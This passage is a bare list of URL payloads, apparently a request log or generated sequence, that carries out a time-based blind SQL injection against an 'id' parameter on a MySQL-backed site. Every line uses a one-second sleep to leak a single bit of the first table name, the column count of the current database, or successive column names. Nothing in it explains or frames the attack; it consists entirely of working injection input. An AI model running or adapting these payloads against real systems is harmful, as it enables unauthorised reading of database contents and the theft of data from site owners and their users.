/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 1,sleep(1),0)
/?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 2,sleep(1),0)
/?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 3,sleep(1),0)
/?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 4,sleep(1),0)
/?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 5,sleep(1),0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
